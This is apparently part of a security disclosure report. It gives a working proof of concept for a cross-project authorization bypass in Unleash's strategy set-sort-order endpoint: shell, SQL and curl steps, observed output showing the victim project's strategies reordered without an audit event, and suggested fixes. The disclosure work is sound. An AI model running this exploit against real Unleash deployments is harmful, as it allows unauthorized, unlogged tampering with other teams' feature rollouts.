Details
2. Simulate a Pro/Enterprise (multi-project) deployment
Per-project roles and >1 project are Pro/Enterprise features; the official OSS image hard-pins requests to the default project via an unrelated edition gate (resolveIsOss). To reproduce the cross-project dimension on the public image, lift only that edition gate (this does NOT touch the vulnerable set-sort-order code path). On a real Pro/Enterprise instance this step is unnecessary — multiple projects already exist.
# Force resolveIsOss() to return false (== "this is a Pro/Enterprise deployment").
docker cp unleash-srv:/unleash/dist/lib/create-config.js /tmp/cc.js
python3 - <<'PY'
s=open('/tmp/cc.js').read()
old=""" return testEnvironmentActive
? (isOssOption ?? false)
: !isEnterprise && uiEnvironment?.toLowerCase() !== 'pro';"""
assert old in s
s=s.replace(old," return false; // PoC: simulate Pro/Enterprise deployment (multi-project enabled)")
open('/tmp/cc.js','w').write(s)
print("patched edition gate")
PY
docker cp /tmp/cc.js unleash-srv:/unleash/dist/lib/create-config.js
docker restart unleash-srv && sleep 22
3. Seed two projects (victim, attacker) and link them to environments
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO projects (id,name,description) VALUES ('victim','Victim Project','v'),('attacker','Attacker Project','a');"
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO project_environments (project_id, environment_name) VALUES
('victim','development'),('victim','production'),
('attacker','development'),('attacker','production');"
4. Create the victim feature with two strategies, and an attacker feature
B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
H="-H Authorization:$ADMIN -H Content-Type:application/json"
curl -s -X POST $H $B/api/admin/projects/victim/features -d '{"name":"victimFlag","type":"release"}' >/dev/null
S1=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
-d '{"name":"flexibleRollout","parameters":{"rollout":"10","stickiness":"default","groupId":"victimFlag"}}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
S2=$(curl -s -X POST $H $B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
-d '{"name":"default","parameters":{}}' \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id'])")
echo "victim strategies: S1=$S1 (sort 0) S2=$S2 (sort 1)"
curl -s -X POST $H $B/api/admin/projects/attacker/features -d '{"name":"attackerFlag","type":"release"}' >/dev/null
curl -s -X POST $H $B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies \
-d '{"name":"default","parameters":{}}' >/dev/null
5. Create a low-privilege attacker user (Member of attacker ONLY, no role on victim)
# Viewer root role (id 3) -> no project write anywhere by default.
curl -s -X POST $H $B/api/admin/user-admin \
-d '{"email":"[email protected]","name":"Mallory","rootRole":3}' >/dev/null
curl -s -X POST $H $B/api/admin/user-admin/2/change-password \
-d '{"password":"Str0ng-PoC-pass!9x"}' >/dev/null
# Grant the project "Member" role (id 5, includes UPDATE_FEATURE_STRATEGY) on 'attacker' only.
docker exec unleash-pg psql -U unleash -d unleash -c \
"INSERT INTO role_user (role_id, user_id, project) VALUES (5, 2, 'attacker');"
docker restart unleash-srv && sleep 22 # pick up the seeded role
6. Run the attack
B=http://127.0.0.1:4242; ADMIN='*:*.unleash-insecure-admin-api-token'
CJ=/tmp/mallory.cookies; rm -f $CJ
# Log in as the low-priv user (Member of 'attacker' only).
curl -s -c $CJ -o /dev/null -X POST -H 'Content-Type: application/json' \
$B/auth/simple/login -d '{"username":"[email protected]","password":"Str0ng-PoC-pass!9x"}'
show() { curl -s -H "Authorization:$ADMIN" \
$B/api/admin/projects/victim/features/victimFlag/environments/production/strategies \
| python3 -c "import sys,json;[print(' ',s['id'],'sort',s['sortOrder']) for s in json.load(sys.stdin)]"; }
echo '--- victim/production BEFORE ---'; show
echo '--- [negative control] Mallory -> VICTIM url directly (expect 403) ---'
curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
$B/api/admin/projects/victim/features/victimFlag/environments/production/strategies/set-sort-order \
-d "[{\"id\":\"$S1\",\"sortOrder\":99}]"
echo '--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---'
curl -s -o /dev/null -w ' HTTP %{http_code}\n' -b $CJ -X POST -H 'Content-Type: application/json' \
$B/api/admin/projects/attacker/features/attackerFlag/environments/production/strategies/set-sort-order \
-d "[{\"id\":\"$S1\",\"sortOrder\":42},{\"id\":\"$S2\",\"sortOrder\":7}]"
echo '--- victim/production AFTER ---'; show
Observed output
--- victim/production BEFORE ---
01KTYWRZM7ACCTQKPJJCXJB24R sort 0
01KTYWRZMTAN6WAZBQ6CN0QY4T sort 1
--- [negative control] Mallory -> VICTIM url directly (expect 403) ---
HTTP 403
--- [attack] Mallory -> ATTACKER url, body = VICTIM strategy ids (expect 200) ---
HTTP 200
--- victim/production AFTER ---
01KTYWRZMTAN6WAZBQ6CN0QY4T sort 7
01KTYWRZM7ACCTQKPJJCXJB24R sort 42
The negative control proves RBAC correctly denies Mallory a *direct* write to victim (403). The attack proves that by naming her own attacker project in the URL she passes RBAC, and the victim project's two strategies are reordered (sort 0/1 → 42/7, i.e. the evaluation order is flipped) — a write to a project she has no role on. A check of the events table after the attack shows no feature-strategy-update event was recorded for victimFlag, so the tampering is absent from the victim's audit trail.
Cleanup
docker rm -f unleash-srv unleash-pg; docker network rm unleash-poc
Remediation
In unprotectedUpdateStrategiesSortOrder, bind every body-supplied strategy ID to the URL context before writing. Two equivalent fixes: (1) fetch each strategy by ID and call the existing validateUpdatedProperties(context, strategy) guard (the same one updateStrategy/patchStrategy/deleteStrategy already use) so a mismatched projectId/featureName throws; or (2) reject any sortOrders entry whose ID is not present in existingOrder (the set of strategy IDs that genuinely belong to {project, featureName, environment}), which the function already computes. Additionally, scope the store write — updateSortOrder should constrain the UPDATE with the project/feature/environment (or only operate on IDs already validated to be in-context) rather than updating purely by primary key. Fixing the binding also corrects the audit-log attribution, since the mutated strategies will then always belong to the URL context the event is built from.
Please credit 5ud0 / Tarmo Technologies.